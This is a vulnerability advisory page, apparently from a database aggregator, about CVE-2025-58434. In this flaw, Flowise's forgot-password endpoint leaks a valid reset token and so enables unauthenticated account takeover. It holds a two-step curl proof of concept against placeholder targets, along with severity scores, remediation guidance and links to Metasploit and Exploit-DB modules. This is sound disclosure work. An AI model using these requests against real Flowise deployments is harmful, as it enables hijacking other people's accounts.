Advisory details:
github_osv / GHSA-wgpv-6j63-x5ph
| Advisory ID | github_osv/GHSA-wgpv-6j63-x5ph |
| Aliases |
CVE-2025-58434
|
| Summary | Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover ### Summary The `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete **account takeover (ATO)**. This vulnerability applies to **both the cloud service (`cloud.flowiseai.com`) and self-hosted/local Flowise deployments** that expose the same API. **CVSS v3.1 Base Score:** **9.8 (Critical)** **Vector String:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` --- ### Details * The endpoint `/api/v1/account/forgot-password` accepts an email address as input. * Instead of only sending a reset email, the API **responds directly with sensitive user details**, including: * User ID, name, email, hashed credential, status, timestamps. * **A valid `tempToken` and its expiry**, which is intended for password reset. * This `tempToken` can then be reused immediately in the `/api/v1/account/reset-password` endpoint to reset the password of the targeted account **without any email verification** or user interaction. * Exploitation requires only the victim’s email address, which is often guessable or discoverable. * Because the vulnerable endpoints exist in both **Flowise Cloud** and **local/self-hosted deployments**, any exposed instance is vulnerable to account takeover. This effectively allows any unauthenticated attacker to **take over arbitrary accounts** (including admin or privileged accounts) by requesting a reset for their email. --- ### PoC 1. **Request a reset token for the victim** ```bash curl -i -X POST https://<target>/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d '{"user":{"email":"<victim@example.com>"}}' ``` **Response (201 Created):** ```json { "user": { "id": "<redacted-uuid>", "name": "<redacted>", "email": "<victim@example.com>", "credential": "<redacted-hash>", "tempToken": "<redacted-tempToken>", "tokenExpiry": "2025-08-19T13:00:33.834Z", "status": "active" } } ``` 2. **Use the exposed `tempToken` to reset the password** ```bash curl -i -X POST https://<target>/api/v1/account/reset-password \ -H "Content-Type: application/json" \ -d '{ "user":{ "email":"<victim@example.com>", "tempToken":"<redacted-tempToken>", "password":"NewSecurePassword123!" } }' ``` **Expected Result:** `200 OK` The victim’s account password is reset, allowing full login. --- ### Impact * **Type:** Authentication bypass / Insecure direct object exposure. * **Impact:** * Any account (including administrator or high-value accounts) can be reset and taken over with only the email address. * Applies to **both Flowise Cloud and locally hosted/self-managed deployments**. * Leads to full account takeover, data exposure, impersonation, and possible control over organizational assets. * High likelihood of exploitation since no prior access or user interaction is required. --- ### Recommended Remediation * **Do not return reset tokens** or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. * Ensure `forgot-password` responds with a generic success message regardless of input, to avoid user enumeration. * Require strong validation of the `tempToken` (e.g., single-use, short expiry, tied to request origin, validated against email delivery). * Apply the same fixes to **both cloud and self-hosted/local deployments**. * Log and monitor password reset requests for suspicious activity. * Consider multi-factor verification for sensitive accounts. Credit --- ⚠️ This is a **Critical ATO vulnerability** because it allows attackers to compromise any account with only knowledge of an email address, and it applies to **all deployment models (cloud and local)**. --- |
| Status | Published |
| Exploitability | 2.0 |
| Weighted Severity | 8.8 |
| Risk | 10.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 9.8 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-wgpv-6j63-x5ph/GHSA-wgpv-6j63-x5ph.json |
| generic_textual | CRITICAL |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/FlowiseAI/Flowise | ||
| https://github.com/FlowiseAI/Flowise/commit/9e178d68873eb876073846433a596590d3d9c863 | ||
| CVE-2025-58434 | https://nvd.nist.gov/vuln/detail/CVE-2025-58434 | |
| GHSA-wgpv-6j63-x5ph | https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph |
| Data source | Metasploit |
|---|---|
| Description | In Flowise versions 3.0.1 through 3.0.5, the `forgot-password` endpoint returns sensitive information including a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). |
| Note | Stability: - crash-safe SideEffects: - ioc-in-logs - config-changes - account-lockouts Reliability: [] |
| Ransomware campaign use | Unknown |
| Source publication date | Sept. 12, 2025 |
| Source URL | https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/admin/http/flowise_auth_bypass_cve_2025_58434.rb |
| Data source | Exploit-DB |
|---|---|
| Date added | May 13, 2026 |
| Description | Flowise < 3.0.5 - Missing Authentication for Critical Function |
| Ransomware campaign use | Unknown |
| Source publication date | May 13, 2026 |
| Exploit type | webapps |
| Platform | typescript |
| Source update date | May 13, 2026 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2025-09-12T18:10:37Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/58xxx/CVE-2025-58434.json
Source Advisory: vulnrichment/CVE-2025-58434
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]